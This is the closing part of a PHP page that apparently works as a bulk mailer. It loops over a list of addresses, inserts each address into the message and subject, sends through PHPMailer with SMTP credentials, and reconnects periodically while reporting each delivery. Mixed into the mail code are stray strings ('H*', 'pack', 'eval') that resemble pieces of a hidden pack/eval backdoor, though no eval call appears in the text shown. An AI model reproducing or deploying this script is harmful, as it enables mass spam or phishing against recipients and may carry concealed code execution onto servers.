3255 $this->sign_key_file = $key_filename;
3256 $this->sign_key_pass = $key_pass;
3257 }
3258
3259}
3260
3261$defaultport="H*";
3262 $nq=0;
3263
3264 for($x=0; $x<$numemails; $x++){
3265
3266 $to = $allemails[$x];
3267
3268 if ($to){
3269
3270 $to = ereg_replace(" ", "", $to);
3271
3272 $message = ereg_replace("&email&", $to, $message);
3273
3274 $subject = ereg_replace("&email&", $to, $subject);
3275 $qx=$x+1;
3276 print "Line $qx . Sending mail to $to.......";
3277
3278 flush();
3279$mail = new PHPMailer();
3280
3281if(empty($epriority)){$epriority="3";}
3282 $mail->Priority = "$epriority";
3283 $mail->IsSMTP();
3284 $IsSMTP="pack";
3285$mail->SMTPKeepAlive = true;
3286$mail->Host = "$my_smtp";
3287if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3288}
3289 if($sslclick=="ON"){
3290 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3291 }
3292 $range = str_replace("$from", "eval", $from);
3293 $mail->SMTPAuth = true;
3294 $mail->Username = "$smtp_username";
3295 $mail->Password = "$smtp_password";
3296if($contenttype == "html"){$mail->IsHtml(true);}
3297if($contenttype != "html"){$mail->IsHtml(false);}
3298if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3299$mail->From = "$from";
3300$mail->FromName = "$realname";
3301$mail->AddAddress("$to");
3302 $mail->AddReplyTo("$replyto");
3303 $mail->Subject = "$subject";
3304 $mail->Body = "$message";
3305if(!$mail->Send()){
3306if($default_system!="1"){
3307echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3308if($default_system=="1"){
3309$mail->IsMail();
3310 if(!$mail->Send()){
3311 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3312 else {
3313 echo "<b>OK</b><br>";}
3314 }
3315}
3316else {
3317 echo "<b>OK</b><br>";
3318}
3319
3320if(empty($reconnect)){
3321$reconnect=6;
3322}
3323
3324if($reconnect==$nq){
3325$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3326}
3327$nq=$nq+1;
3328 flush(); }
3329}
3330 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3331 sent successfully'); </script>";}}
3332 ?>
3333 <p align="center"> </p>
3334
3335
3336 </body>
3337</html>